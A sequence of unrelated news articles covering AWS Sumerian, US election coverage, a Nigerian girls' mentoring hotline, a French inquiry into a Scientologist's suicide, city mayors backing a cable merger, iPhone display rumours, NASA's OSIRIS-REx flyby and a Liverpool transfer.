AWS naming the service Sumerian — the language spoken by Sumer people of Mesopotamia — is an interesting choice and fits with Amazon’s concept behind the service.
Sumerian (the original language) was one of the world’s first written tongues and is considered to be the basis of many languages that followed. Amazon’s thinking behind Sumerian (the AWS product) is that it is trying to bring AR, VR and 3D into the mainstream by building set of tools to make it much easier to use.
“Customers across industries see the potential of VR and AR technologies for a wide range of uses, from educating and training employees to creating new customer experiences,” said Marco Argenti , Vice President, Technology, AWS, in a statement. “But, customers are daunted and overwhelmed by the up-front investment in specialized skills and tools required to even get started building a VR or AR application. With Amazon Sumerian, it is now possible for any developer to create a realistic, interactive VR or AR application in a few hours.”
It does this by way of providing many pre-configured building blocks to make creating apps quickly and with less coding to cover the basics like inanimate objects and the basics of a human form.
Amazon’s been making a number of acquisitions to help build out its position in AR and VR and the new wave of computing. They have included the body-scanning startup Body Labs and GameSparks, a platform for building games. I’d argue that you can see some of that tech and general approach coming to the fore here as well.
In fact, it’s often not obvious how Amazon will redeploy talent and technology in its products down the line. One of the people leading the company’s mixed reality efforts in AWS is Kyle Roche, who actually came to Amazon when it acquired his IoT startup 2lemetry. Roche also had a background in augmented reality. He’s now the GM of Sumerian.
In keeping with the idea of trying to kick-start more AR and VR development, Amazon is also creating a series of pointers to steer people to different kinds of apps — critical, given that one of the big criticisms of mixed reality services is that the applications for the technology have yet to prove themselves as “must-have”.
Amazon is focusing here on very practical end-points: “training simulations, virtual concierge services, enhanced online shopping experiences, virtual house or land tours” are among those it names could be improved with the use of virtual environments populated with animation and 3D and more natural interactions with users.
The service also brings together a lot of what AWS has been doing in other areas by trying to simplify otherwise-complex new computing applications. Last week, the company announced a new consultancy to help people build more AI-based services, and last month, it announced Gluon, a simplified machine-learning model builder.
The bigger picture here is that the new wave of computing and technology has a lot of coding and other time-consuming processes behind it, and Amazon wants to be the one to modernise and simplify that — thereby becoming the default platform for creating applications on that new tech.
(This is not unlike Apple’s push in its early days to demystify computers by making them super easy to use for the average consumer, at a time when the pre-existing basic home computer still required you to wear a tinfoil hat to use.)
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Donald Trump declared the FBI's renewed investigation of Hillary Clinton's use of a private email server, coming just 11 days before Election Day, shows newly uncovered emails must reveal "a most egregious criminal offense."
In a brief stump speech in Cedar Rapids, Iowa, Friday night that focused primarily on his "Contract With the American Voter" policies, Trump prefaced his remarks by describing the Democratic presidential nominee's email scandal as "the biggest political scandal since Watergate."
"The FBI would never have re-opened this case at this time unless it were a most egregious criminal offense," he said. "The investigation is the biggest political scandal since Watergate, and it's everybody's hope that justice at last can be delivered."
"I have had plenty of words about the FBI lately, but I give them great credit for having the courage to right this horrible wrong," Trump added. "Justice will prevail… [with] what happened today, the system will become a little less rigged."
Trump also slammed Clinton's response to FBI Director James Comey's letter to congressional lawmakers announcing the discovery of the emails through a separate investigation.
"In a very brief remark tonight, Hillary Clinton tried to politicize this investigation by attacking and falsely accusing the FBI director of only sending the letter to Republicans, another Clinton lie," Trump railed. "As it turned out, the letter was sent to both Republican and Democratic leaders...." |
Graphic designers say Ted Cruz's logo looks like a burning flag
Ted Cruz' campaign website is pictured. Ted Cruz' campaign website is pictured. Photo: TedCruz.org Photo: TedCruz.org Image 1 of / 23 Caption Close Graphic designers say Ted Cruz's logo looks like a burning flag 1 / 23 Back to Gallery
The logo Sen. Ted Cruz (R-Texas) selected for his 2016 presidential campaign has left some graphic designers baffled.
Cruz unveiled the symbol on Monday when he announced his White House bid and immediately social media lit up with posts comparing the image to either a tear or an upside down burning flag.
Others pointed out the similarity of Cruz's logo to the symbols for the Al Jazeera news service, the satiric Onion newspaper, and the flame representing the Tinder dating app.
Artist Milton Glaser, the celebrated designer behind the "I ♥ NY" logo, expressed confusion at Cruz's messaging.
"This looks like another example of flag burning to me. Is Mr. Cruz certain that is what he wants to say?" Glaser told Business Insider.
Ted Cruz's campaign logo looks so familiar. pic.twitter.com/XsWYau105R — clydetheslyde (@clydetheslyde) March 23, 2015
Debbie Millman, chair of the Masters in Branding program at the School of Visual Arts in New York, agreed that the optics were puzzling.
"SO MUCH needs to be said about this," she told Business Insider about the Cruz logo.
"I think the logo is terrible, for two reasons. First: Really? He's running for President and this is the absolute best he can come up with? It's so ho-hum, it is so predictable and boring, that the immediate impression it projects is YAWN. Second: So the flame includes a burning flag? Isn't that illegal?"
But not all the feedback was negative.
Scott Stowell, the founder of the New York design studio Open, gave Cruz points for trying to use a "refreshing" symbol. He credited the Texas Senator for taking inspiration from the iconic "O" employed by President Barack Obama in his 2008 campaign.
"Since Ted Cruz is another first-time Presidential candidate running with only two years of Senate experience, it's interesting (if coincidental) to note the similarities between his logo and President Obama's. Both use old symbols in new shapes to express their messages. Sol Sender's logo for then-Senator Obama connected a rising sun to the idea of hope; Cruz's logo uses a flame to talk about "reigniting" something," Stowell told Business Insider.
"I don't support Cruz's politics and I don't love this identity. But it's still refreshing to see a campaign using nice typography and meaningful images. I guess that's one more change we can thank Barack Obama for," he added.
Cruz's team didn't respond to a request for comment about the logo.
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With the code for Android 5.1 Lollipop now fully uploaded to the Android Open Source Project, it's time to hunt for new features and capabilities that we haven't already uncovered. With a total of 14,686 changes, there's a lot to look through in the latest changelog. A few very telling commit messages have already been discovered, but there are surely many more interesting messages waiting to be found.
Regular readers may notice the current changelog is only available as raw text, and not the richly formatted html we're used to. Al Sutton is not planning to generate changelogs for the foreseeable future, but he has lent us a hand so we'll be able to produce our own version very soon. We'll try to have a full copy in HTML within the next day or so. In the meantime, we'll all be looking for more secrets buried in the code. |
Lantana was just a child when she was forced to drop out of school and start working so her family could afford her brother’s school fees. In the impoverished areas of northern Nigeria where she lives, most bus stops are thronged with young girls hawking peanuts or other snacks from buckets balanced carefully on their heads, and so she joined them. The girls are easy prey for the older men who prowl these chaotic market places. Lantana thought she had found a protector in a bus tout who regularly bought up her daily wares, until the night he lured her into a dark alley.
Many adolescent girls in Nigeria can relate to at least one element of Lantana’s story; giving up school to work for their family, abused by a trusted figure, not knowing where to go for safety. Unlike those girls, however, Lantana isn’t real. Yet thousands of young women are calling a free number to hear more about her fictional life, and talking to mentors on the other end of the line about what they would do if they were her.
Lantana’s story is one of four tales of young heroines being used in a radical new program to help adolescent girls in Nigeria navigate the challenges of growing up in a country where low levels of female empowerment, education and employment have contributed to early marriage, a stagnating economy and, some would argue, a concomitant rise in Islamist insurgent groups like Boko Haram.
The program, called Girls Connect, uses compelling stories like that of Lantana to reach young women from across a broad spectrum of Nigerian society through the kind of interactive voice recognition software that a bank might otherwise use to address consumer queries. But unlike a bank hotline, which is designed to eliminate the need for costly human interaction, the point of Girls Connect is to get the callers to engage with a call center representative who can help them process the information and use it in their daily lives. It’s kind of like calling a toll-free bank line to get the latest foreign exchange rates, only to be connected with an agent who gives out personalized advice on balancing the household budget.
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When callers dial in, they are offered a menu of four stories, with four chapters each, to choose from. Once they listen to the 2-3 minute dialogue—performed by professional radio actors—they are connected to specially-trained agents, which the company calls Role Models. The 13 agents — all women — work off a standardized script that is designed to help callers internalize the lessons that Lantana and her fellow characters learn the hard way.
By asking questions such as “Is this something that someone you know has experienced before?” or “If you thought a girl was put in danger by someone, what advice would you give her?”, the Role Models can help girls work through problems they are currently facing, or might face in the future, in subjects ranging from safety to relationships, jobs or social media.
“It’s really challenging being a girl in Nigeria today,” says Iveren Shinshima, who works as a Role Model. “We talk about how she can stay safe while making money. How she can budget. How she can avoid cyber bullying. Whether it comes to making money, using social media or your relationship with your environment, the message we are trying to instill is that you are valuable as a girl.”
The buzzing call center where these phone calls come in by the hundreds each day is far removed from the bus stops where girls like Lantana are forced to work. A five-story building crammed with uniform gray cubicles and staffed by fashionable Nigerian millennials in identical headsets, the iSON BPO International Call Center of Ibadan, in southeastern Nigeria, is the cornerstone of a booming new business in back-office outsourcing run by Indian entrepreneur Ramesh Awtaney. The center manages customer care lines for several Nigerian banks and telecom companies — and now adolescent girls. The idea arose from a chance meeting between Awtaney and Farah Ramzan Golant, the London-based CEO of Girl Effect, an international nonprofit organization dedicated to ending poverty through empowering young women. Nearly half of iSON’s 10,000 employees in Africa are women, and Awtaney wondered if there was a way to use his call center services to benefit Africa’s young women.
“In the customer service industry we try and resolve your problem by putting you in touch with an automated machine. If the machine can’t help, you are connected to an agent,” Awtaney tells TIME. “So the thinking was that we could replicate this process for girls in the context of giving them information on relationships, medical problems, education, and social media, etcetera.” It was an unlikely marriage between the tech and the non-profit fields, with the tantalizing prospect of wide reach—the holy grail of cost effective girl-empowerment programs. “What was interesting about it was how, like an interactive customer service program, Girls Connect can be scaled up very rapidly,” Golant says. “If you combine this content with toll free numbers, the impact can be huge.”
Natalie Au, the global gender director for Girl Effect, says that unlike radio or TV shows designed to empower young women, Girls Connect can replicate the one-on-one experience of working with trained mentors, but on the much more accessible platform of mobile phones. “When you have a chance to be asked questions about, ‘well how did that story relate to your own life?’ there’s a chance that before it goes out the other ear, you’re going to have to stop and say, ‘actually what would I have done in Lantana’s situation?’ So you’re much more likely to retain those key messages or skills rather than them being passively consumed and then forgotten.”
To the Role Models, who field on average 230 calls a day, the value is not just in the lessons they impart, but in simply being present for adolescent girls at an all-too-familiar vulnerable point in their lives. “Growing up I faced a whole lot of challenges that I know these girls will be facing as well,” says Maureen Ijogo Onah, another Role Model. A lot of times teenage girls just “want someone to listen to them, to talk to them, just to hear them out in whatever situation they find themselves in.” For Hadiza Ibrahim, being a Role Model is a refreshing change from her usual call center work. “The conversations are relaxed, quite friendly. You’re talking to a girl who trusts you. It’s quite different from listening to an angry customer who probably can’t get his Internet on.”
Although Girls Connect content is currently only available in Hausa, the language of northern Nigeria, the response has been enormous, with some 42,000 calls over the first, month-long period of testing, despite limited advertising. Girls are calling in multiple time just to listen to the stories, and requesting specific Role Models by name.
Amina, 14, has listened to each story several times, she says, adding that she feels for the first time in her life like someone understands what she is going through. A street hawker herself, Amina says that Lantana’s story doesn’t go far enough — in the program she is only robbed, not sexually assaulted, as is the experience of many of Amina’s fellow hawkers. Still, she says, the story and the Role Models have helped. “There are many girls that are hawking who have listened to this program, and they come to understand that even if something like this happens to them, they can go and tell their parents, as Lantana did, so that they can take action.”
Each time Amina listens to a story, she says, she comes away with a new perspective on how to deal with a problem in her life—like the time someone started sending her lewd photos via one of Nigeria’s popular text messaging apps. “Even when I told him to stop, it was like I was instigating him to do more. But if I told my parents, they would blame me for being on social media in the first place. And when I told my friends they said it is normal, there is nothing wrong with it.” That day she chose to listen to a Girls Connect story about a girl who used social media to start a business. When Amina spoke with the agent afterward, she told her about her issues. The Role Model told Amina how to block the man from her account, and helped her develop a strategy for avoiding cyber stalkers. If a girl in need of specialized help makes contact, for instance depression, suicidal tendencies, pregnancy or abuse, they are typically referred to aid organizations in their areas that can help them directly. The Role Models also encourage the girls to reach out to their parents or to the police when necessary.
Aisha Haliru, who runs a weekly empowerment program for adolescent girls in Kano, says the impact of the telephone mentorships has been transformative. Haliru’s classes provide the kind of safe spaces for girls that Girls Connect seeks to replicate on the telephone, but she can only reach a few dozen girls at a time. Girls Connect has the potential to reach thousands. And the need is even greater than ever, says Haliru, citing rising incidents of rape in Kano, and even the kidnapping of young women by the Boko Haram terrorist group.
Haliru now lends out mobile phones so her students can call Girls Connect on breaks between vocational training courses and lessons on personal hygiene. “These days, a girl can’t always confide in her mother,” says Haliru, “but with the Role Models, she will let it all out. She knows that the Role Model won’t know her, or her sister or her mother. So when she has never been able to share with someone something that bothers her, and then suddenly she can speak freely with someone who understands what she is going through, it’s an amazing thing. I see the girls changing before my eyes.”
ISON and Girl Effect plan to expand the Role Model trainings and content so they can launch the project nationwide, and eventually in other countries as well. The Role Models are looking forward to continuing their work mentoring a new generation of Nigerian girls, but for some their joy is tinged with a touch of regret. “I truly, truly wish I had something like this while I was growing up,” says Role Model Ibrahim. “If I had had this kind of an opportunity to connect to a role model, I probably would have called her every day. And I probably would have made a lot less mistakes.”
Contact us at [email protected]. |
Our man in Paris, journalist Jonny Jacobsen, has a fascinating piece for us today. We’ll let him explain…
A judge investigating the 2006 suicide of a Scientologist in France may finally close the case because police have not been able to track down key witnesses. Officers have been looking into the death of 47-year-old Gloria Lopez (pictured), who in December 2006 stepped in front of a speeding train at Colombes station just outside Paris.
But they have been unable to find three Scientologists the judge considers key to the affair, all of whom had dealings with Lopez in the months leading up to her death. Scientology executives in France have insisted they have no idea where they are.
Gloria Lopez had been involved with Scientology since the mid-1990s. During that time her family estimates she spent around 250,000 euros on the movement. Her two children say she was depressed in the months leading up to her death and they blame that on her involvement in Scientology. The family’s lawyer, Maître Rodolphe Bosselut, dates her final crisis to a visit to Scientology’s Copenhagen centre that she made in July 2006.
“Strangely, she did not return on the appointed day,” he said. “When she did return, several days later, she said that Scientology had asked her to stay and she had not felt she could leave.”
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Her work colleagues said they noticed a dramatic change in her mood after she came back from Copenhagen. “She was much more withdrawn,” said one co-worker, who asked not to be named. “She hardly spoke at all…She seemed sad, withdrawn, preoccupied.”
Documents her family found at her apartment after her death included a billion-year contract for the Sea Organization, Scientology’s corps for its most dedicated, full-time members. She had signed the document during her July visit to Copenhagen. Other papers show she was expected to return to Copenhagen for further training and then travel on to Clearwater, in Florida. Yet she never told her family about her Sea Org membership or her plans to travel to the United States.
Gloria Lopez committed suicide on December 21, 2006: she had been due to start in the Sea Org in January 2007.
Lopez’s family has filed a complaint against persons unknown alleging abuse of weakness, organized fraud, and failure to help a person in danger. Scientology officials have repeatedly insisted that her death had nothing to do with them, and a Paris spokesman refused any further comment for this article.
In 2011, prosecutors abandoned the case after several years of investigation, arguing that there was not enough evidence to build a case. After the family filed a second formal complaint, an investigating judge was appointed to take another look. Like the prosecutor, he has the power to take the matter to court if he thinks there is a case to answer.
But now Maître Bosselut has sounded the alarm. He fears the judge is about to close his investigation, at least in part because police cannot locate the key persons of interest to interview them. The judge’s decision is expected in the next few weeks.
Persons of interest
These are the three Scientologists investigators want to interview:
— Juliette Wagner-Quercia, who introduced Lopez to Scientology and who, according to family and friends, was a strong influence on her during her first years inside the movement. She was working at Scientology’s Copenhagen base in 2006 and was Lopez’s point of contact there;
— Elisabeth Haley, Lopez’s auditor at Copenhagen. Haley wrote twice to Lopez in the months that followed, trying to get her to return for further auditing. The contents of her letters make it clear she knew that Lopez was in difficulty;
— Danielle Ambert: a high-level Scientologist (OT VIII and a former mission holder in France), she acted as Lopez’s financial adviser at a time when she came into a substantial sum of money – most of which she subsequently spent on Scientology.
After Scientology officials in France said they did not know where the three women were, police wrote to Scientology centers in both Copenhagen and the United States in a fruitless bid to trace them.
Gloria Lopez’s behavior changed drastically on her return from Copenhagen in July, said Maître Bosselut. “She stopped taking courses and she became more withdrawn at work,” he explained. During the same period, letters were arriving from Copenhagen urging her to return. But as Gloria Lopez sank into depression, the Scientologists around her failed to give her the help she needed, he added.
Lopez’s son, Gwenn Le Berre said that when police searched Scientology premises in 2009 looking for documents relating to the case, all they found was an empty dossier with Gloria Lopez’s name on it. And when officers interviewed Scientologists about his mother, none of them seemed to know her well, even though she had been a regular at the Celebrity Center for years.
“Nobody knew her, even those who wrote her letters with ‘kisses, lots of love’,” he said. “Even those people continue to say that they didn’t know her. It’s completely bizarre.”
Among the papers that Lopez’s children found at her home after her death were writings in her own hand from the final months of her life. In them, she expressed her distress at the financial difficulties she was experiencing, as well as a sense of failure — the antithesis of what Scientology promises its followers.
The financial advisor
These writings also revealed the role that Danielle Ambert played in advising Lopez on her financial affairs, said Maître Bosselut. Lopez had inherited a property in Spain, which she had told her family she would sell so as to buy an apartment just outside Paris. The handwritten documents found at her apartment make it clear however that instead of buying the French apartment she spent the money on Scientology courses.
“Ambert advised Mme Lopez that no bank would lend to her for Scientology courses but that she would be able to get a loan to buy an apartment,” Me Bosselut explained.
So despite having received a large sum of money from the sale of the property in Spain — more than 200,000 euros — she ended up having to borrow to buy an apartment near Paris. Ambert’s business card, which Lopez’s family found at her apartment after her death, describes her as a “counsellor in independent investment.”
Lopez’s handwritten notes show that she had paid in advance for most of Scientology’s advanced Operating Thetan (OT) levels. “A first part of the money allowed me to get to Clear,” she wrote. The state of Clear is the position halfway up Scientology’s scale of courses. Attaining it opens up the route to the more advanced — and far more expensive — Operating Thetan (OT) levels. Paying for levels I to VII effectively meant she was paying for courses years in advance.
Ten days later she attended a seminar on a push to get 10,000 OT VIIs. “The next day I paid the levels up to OT VII,” she wrote.
In the original 2009 Paris court judgment convicting two Scientology organizations of organized fraud, the court noted that Scientology’s practice of hard sell meant that members were pressured into paying for training years in advance and thus driven into debt. The 2013 Cour de Cassation ruling that rendered those convictions definitive also specifically mentioned Scientology’s hard-sell policies and referred to how Scientology’s victims were:
…quickly led to commit to several years of courses, auditing sessions, purification cures forming part of the Scientology doctrine, for the financing of which they spent all their savings, got themselves into debt and in the end found themselves in a particularly difficult situation, both materially and morally…
One former Scientologist has already explained to investigators how relentless the movement’s salesmen can be in getting people to buy more courses, said Maître Bosselut. And despite the vast sums Lopez had spent on courses, the papers found at her apartment also show that Scientology was telling her she owed them money.
“Oppressive and aggressive”
Lopez’s growing desperation is evident from the writings she left behind, said the lawyer. She wrote:
For the moment I am losing money instead of earning for the Bridge [her courses] (I have to get the money together to pay the expenses for when I will be in Denmark and the United States for the OT levels.) … Despite everything I have understood, I am not getting better, at work I am making mistakes.
The police unit that investigated Gloria Lopez’s death was the Office for the Repression Violence against Persons (ORCVP). Their report, submitted to the prosecutor’s office concluded:
…[I]n 2000 Gloria Lopez broke with her family and friends, lost custody of her children, sold her house and left her job with the sole aim of moving closer to the Paris Celebrity Center. She invested all her money, which was in fact a substantial amount, in Scientology and got into debt to pay for her expenses and an apartment… .
The report also described Scientology’s operating method as “commercial, very organized, oppressive and aggressive,” designed to ensure maximum profits for its directors. Despite this report, the prosecutors office at Nanterre, just outside Paris, decided in June 2011 to drop the case, arguing there was not enough evidence to show that Gloria Lopez had been subjected to undue influence.
For Maître Bosselut, that decision betrays a complete lack of understanding of how Scientology operates; and it ignores crucial evidence in the documents written by Mme Lopez herself in the final months of her life. Now however, it looks as if the investigating magistrate, Jean-Michel Bergès, might follow suit. Maître Bosselut argues that the failure of Scientology officials in France and abroad to provide any leads that would help investigators to find these three women is evidence of their bad faith.
“For an organization as centralized as Scientology — as obsessed with documenting everything about its members — it is simply not credible that it can offer no useful information in this affair,” he said. Scientology officials had failed to turn over Mme Lopez’s files or even to say who her auditors had been, he added.
Gloria Lopez’s son, Gwenn le Berre, says he is determined to keep fighting to find out more about what drove his mother to kill herself.
“I would certainly like to have at least some answers from a few people named in the file, and if we could go after Scientology as an organization then that would be really great.” Because as important as the three missing witnesses are, this is not just about individuals, he insists. “Clearly, it’s the organization, because in this organization there are people who are just bad to the core, who do bad things, who ought to be convicted; and there are others who are the victims and who are in a way used by these people…
“[T]here are people who know. There are people who are paid to organize this fraud. And there are those who profit, clearly.”
— Jonny Jacobsen
——————–
Bodhi Elfman strikes back!
Bodhi Elfman, an actor in Scientology married to fellow celebrity Scientologist Jenna Elfman, reacted to Alex Gibney’s HBO documentary Going Clear with a couple of tweets lashing out at the film.
Bodhi’s father, Scientologist Richard Elfman, founded the Mystic Knights of the Oingo Boingo, which at first was used as a recruiting troupe for Scientology, Spanky Taylor told us recently. (Later, Rick handed over the band to his younger brother, Danny Elfman, who was not a Scientologist.)
Bodhi and Jenna are known for defending Scientology in rather strident terms.
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Scientologist on Freewinds cruise dies in Bonaire after swimming
Local media in the Caribbean island of Bonaire are reporting that on Sunday, Scientologist William Robert Purvis, 67, who was a passenger on the church’s private cruise ship, the Freewinds, became ill after swimming, and died.
According to online records, Purvis was a longtime and experienced Scientologist, but we don’t know much about him. If you know something about Bill, please let us know.
Scientologists are constantly pressured to buy cruise packages on the Freewinds for seminars and courses. While the ship is the only place where a Scientologist can receive the highest level of spiritual training, Operating Thetan Level 8, the lack of OT 8 business has resulted in the ship holding many other seminars and conferences to keep it filled.
The ship often travels between Bonaire, Aruba, and Curacao, but also makes stops in Venezuala.
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David Miscavige and Tom Cruise get the Funny or Die treatment
Ok, this is pretty damn good…
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Bonus photos from our tipsters
Marisol Nichols posted a couple of items. Wonder what she’s referring to?
Actual caption, and we’re not judging in any way: “Starlight cabin. #Freewinds Plus size model show”
Looks like Going Clear’s demos skewed young…
Scientologists are using social media more than ever. Drop us a line if you spot them posting images to Instagram or Facebook!
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Posted by Tony Ortega on March 31, 2015 at 07:00
E-mail your tips and story ideas to [email protected] or follow us on Twitter. We post behind-the-scenes updates at our Facebook author page. Here at the Bunker we try to have a post up every morning at 7 AM Eastern (Noon GMT), and on some days we post an afternoon story at around 2 PM. After every new story we send out an alert to our e-mail list and our FB page.
Learn about Scientology with our numerous series with experts…
BLOGGING DIANETICS: We read Scientology’s founding text cover to cover with the help of LA attorney and former church member Vance Woodward
UP THE BRIDGE: Claire Headley and Bruce Hines train us as Scientologists
GETTING OUR ETHICS IN: Jefferson Hawkins explains Scientology’s system of justice
SCIENTOLOGY MYTHBUSTING: Historian Jon Atack discusses key Scientology concepts
PZ Myers reads L. Ron Hubbard’s “A History of Man” | Scientology’s Master Spies | Scientology’s Private Dancer
The mystery of the richest Scientologist and his wayward sons | Scientology’s shocking mistreatment of the mentally ill
The Underground Bunker’s Official Theme Song | The Underground Bunker FAQ
Our Guide to Alex Gibney’s film ‘Going Clear,’ and our pages about its principal figures…
Jason Beghe | Tom DeVocht | Sara Goldberg | Paul Haggis | Mark “Marty” Rathbun | Mike Rinder | Spanky Taylor | Hana Whitfield |
You, like most people, probably don’t want reviled Internet providers Comcast and Time Warner Cable to join forces to create a mega-corporation that could kill the Internet as we know it. But you’re probably not a mayor of a large American city.
A whopping 52 mayors from cities across the country have all declared their support for the merger. In a signed letter to the Federal Communications Commission (FCC) published Thursday, Aug. 21, they adopt those companies’ twisted logic that a near-monopoly would be a good thing for their citizens.
As it happens, Comcast and Time Warner are regarded by several surveys as the most hated companies in America. They spend a fortune lobbying Congress to overturn net neutrality, which, if successful, would allow them to charge customers more to access certain websites at full speed.
Unlike the tools available to expose donations to members of Congress—to whom Comcast and Time Warner have given millions of dollars in campaign donations, some of it to politicians who then directly tried to kill net neutrality—there isn’t a central database to search mayoral campaign contributions.
Regardless, you probably want to know if your mayor has an inexplicable taste for high prices, low speeds, and terrible customer service. And if they do, you might want to give them a call.
Alabama
William A. Bell, Sr., Birmingham
California
Tom Tait, Anaheim
Kathleen DeRosa, Cathedral City
Harry Price, Fairfield
Acquanetta Warren, Fontana
Jeffrey Gee, Redwood City
Connecticut
Pedro E. Segarra, Hartford
Colorado
Steve Hogan, Aurora
Marc Williams, Arvada
Richard N. McLean, Brighton
Michael B. Hancock, Denver
Florida
Joy Cooper, Hallandale Beach
Alvin Brown, Jacksonville
George Vallejo, North Miami Beach
John Marks, Tallahassee
Tomas Regalado, Miami
Lori C. Moseley, Miramar
Buddy Dyer, Orlando
Frank C. Ortis, Pembroke Pines
Cindy Lerner, Pinecrest
Kansas
Michael A. Boehm, Lenexa
Michael Copeland, Olathe
Massachusetts
Kevin J. Dumas, Attleboro
Gary Christenson, Malden
Michael McGlynn, Medford
Daniel Rizzo, Revere
New Jersey
Albert B. Kelly, Bridgeton
Dana Redd, Camden
Frank Nolan, Highlands
David DelVecchio, Lambertville
Gary J. Passanante, Somerdale
Thomas F. Kelaher, Toms River
Eric Jackson, Trenton
New Mexico
Richard J. Berry, Albuquerque
Ken Miyagishima, Las Cruces
New York
Byron Brown, Buffalo
Ernest D. Davis, Mount Vernon
Oregon
Lou Odgen, Tualatin
Pennsylvania
Joseph DiGirolamo, Bensalem
Eric Papenfuse, Harrisburg
Rick Gray, Lancaster
Robert A. McMahon, Media
Michael A. Nutter, Philadelphia
C. Kim Bracey, York
South Carolina
Joe Riley, Charleston
Stephen K. Benjamin, Columbia
Texas
Lee Leffingwell, Austin
Beth Van Duyne, Irving
Allen Owen, Missouri City
Leonard Scarcella, Stafford
Matthew Doyle, Texas City
Correction: This story originally placed Hartford in Colorado, rather than Connecticut. We regret the error.
This article was originally published Aug. 22, 2014. You can support net neutrality by participating in the Internet Slowdown Day.
Photo via Chris Potter (CC BY 2.0) |
Story highlights New "in-cell" tech combines LCD and touch sections of phones' display into a single layer
A report says Apple might be sourcing its in-cell displays from Toshiba and Sharp
In-cell technology isn't currently deployed in any cellphones but could make them thinner
We're all familiar with Apple's love affair for thin devices. Although the third-generation iPad surprised many by gaining about half a millimeter of thickness, it looks like Apple could be back to trimming product dimensions by using a new kind of display technology in the next iPhone.
Instead of using a display comprising a number of separate layers, Apple could use in-cell touch display technology, according to a Friday report from Digitimes . The report says Apple would be sourcing its in-cell displays from Toshiba and Sharp.
"The advantage of in-cell is that you're streamlining the manufacturing process, so in time you should be able to drive efficiencies and reduce cost," IHS analyst Rhoda Alexander told Wired. "Additionally, by reducing the number of layers, you reduce the size and thickness of the device, making it thinner and lighter."
If the iPhone has a larger 4- to 4.3-inch display, as some reports expect it to, that extra glass could add a bit of heft to the iPhone's weight. Thus, Apple would need to find new ways to keep the phone from gaining too much weight.
Currently, the iPhone's "on cell" display is layered a bit like a sandwich (or if you're feeling like dessert, think of a trifle). At the very bottom, you've got the back light. Directly above that, the LCD section, which houses the red-, green-, and blue-colored pixels of the display. Then there's a layer of glass.
On top of that is the capacitive touch layer, which is then topped off by a tough layer of Gorilla Glass. The middle layer of glass separates the liquid crystal portion of the display from the touch portion.
In-cell display tech eliminates that middle layer of glass, combining the LCD and touch sections of the display into a single layer.
One way this can be successfully accomplished is by "multiplexing" the electrodes normally used to relay touch input -- that is, using the same electrodes to handle the signals for both touch control and the pixels of the LCD, according to a 2010 IHS report on touch-screen displays.
In-cell technology isn't currently deployed in any shipping cellphones. And it shouldn't be confused with the similar-sounding "Super" technologies from Samsung. Super AMOLED and Super LCD screens use on-cell technology rather than in-cell.
Right now, in-cell touch displays are still an emerging technology. So while the core technology promises long-term benefits, yield rates could be a problem in the shorter terms, Alexander says.
But that's the deal with any new technological process, isn't it? In the months before the new iPad was announced, yield rates for Apple's Retina display were a huge question mark
So is in-cell really something Apple would pull the trigger on? "We do believe that the next iPhone display will implement in-cell touch," DisplaySearch's Paul Semenza told Wired via e-mail. But of course, we'll have to wait and see how it pans out when the next iPhone actually debuts |
On Sept. 22, NASA’s OSIRIS-REx spacecraft will make a close approach to Earth, using the planet’s gravity to slingshot itself toward the asteroid Bennu. Over the course of several days, observatories and amateur astronomers with specialized equipment will be able to see OSIRIS-REx as the spacecraft approaches and retreats from its closest position over Earth, approximately 11,000 miles (17,000 km) above the planet’s surface.
The mission will collect images of OSIRIS-REx taken by observatories and other ground-based telescopes around the world during this period – approximately Sept. 10-23, depending on location and local conditions. Observers from the OSIRIS-REx Target Asteroids! citizen science program, who regularly volunteer their time to help scientists study near-Earth asteroids, will be among those who train their telescopes on the spacecraft’s path.
“The opportunity to capture images of the OSIRIS-REx spacecraft as it approaches Earth provides a unique challenge for observers to hone their skills during this historic flyby,” said Dante Lauretta, OSIRIS-REx principal investigator at the University of Arizona, Tucson. “As the spacecraft approaches Earth for its own imaging campaign, ground-based observers will also be looking up and taking photos from the opposite perspective.”
Individuals and groups may submit images of the spacecraft via the mission’s website, where instructions to locate the spacecraft in the sky are also available.
“The team is eager and ready to execute the Earth Gravity Assist,” said Rich Burns, OSIRIS-REx project manager at NASA’s Goddard Space Flight Center in Greeenbelt, Maryland. “Not only will it be a significant change in trajectory putting OSIRIS-REx on track for rendezvous with Bennu, it also represents a unique opportunity for the OSIRIS-REx instruments to observe our home planet. It is fantastic that ground based observers are also taking the opportunity to image OSIRIS-REx.”
The images collected during the Earth gravity assist represent the last opportunity for Earth-based observers to see the spacecraft — until it returns to Earth in 2023 carrying a sample from asteroid Bennu.
The Japan Aerospace Exploration Agency (JAXA), the home institution of several OSIRIS-REx science team members, will also work with the Japan Public Observatory Society and the Planetary Society of Japan to collect imagery from vantage points in Japan.
Shortly before OSIRIS-REx reaches its closest distance from Earth, the spacecraft will fly over the eastern half of Australia, giving observers there some of the best opportunities to see and photograph the spacecraft. The Desert Fireball Network — an organization based at Curtin University, Perth, that studies meteorites, fireballs and their pre-Earth orbits—will deploy observers to locations around Australia to track OSIRIS-REx across the sky.
Members of the public without telescopes can still celebrate the Earth Gravity Assist by joining the “Wave to OSIRIS-REx” social media campaign. Individuals and groups from anywhere in the world are encouraged to take photos of themselves waving to OSIRIS-REx, share them using the hashtag #HelloOSIRISREx and tag the mission account in their posts on Twitter (@OSIRISREx) or Instagram (@OSIRIS_REx).
Participants may begin taking and sharing photos at any time — or wait until the OSIRIS-REx spacecraft makes its closest approach to Earth at 12:52 p.m. EDT on Friday, Sept. 22.
NASA’s Goddard Space Flight Center provides overall mission management, systems engineering and the safety and mission assurance for OSIRIS-REx. Dante Lauretta of the University of Arizona, Tucson, is the principal investigator, and the University of Arizona also leads the science team and the mission’s observation planning and processing. Lockheed Martin Space Systems in Denver built the spacecraft and is providing flight operations. Goddard and KinetX Aerospace are responsible for navigating the OSIRIS-REx spacecraft. OSIRIS-REx is the third mission in NASA’s New Frontiers Program. NASA’s Marshall Space Flight Center in Huntsville, Alabama, manages the agency’s New Frontiers Program for its Science Mission Directorate in Washington. |
Loic Remy's move to Liverpool expected to be announced at weekend
He is not expected to fly out to the US for Liverpool's pre-season tour
Lovren's medical expected to take place on Saturday on Merseyside
Reds boss Brendan Rodgers has been pursuing Lovren all summer
Fee will outstrip £18m paid for Mamadou Sakho and Glen Johnson
He follows Adam Lallana and Rickie Lambert from Southampton to Liverpool
Lovren will become most expensive defender in Liverpool's history
Liverpool are on the brink of concluding a £20million deal to make Dejan Lovren the most expensive defender in their history.
Brendan Rodgers has been pursuing the Croatia international all summer and though Southampton - who have already sold Adam Lallana and Rickie Lambert to Liverpool - were reluctant to do business there has been resolution; the transfer will take Liverpool’s summer spending past £80m.
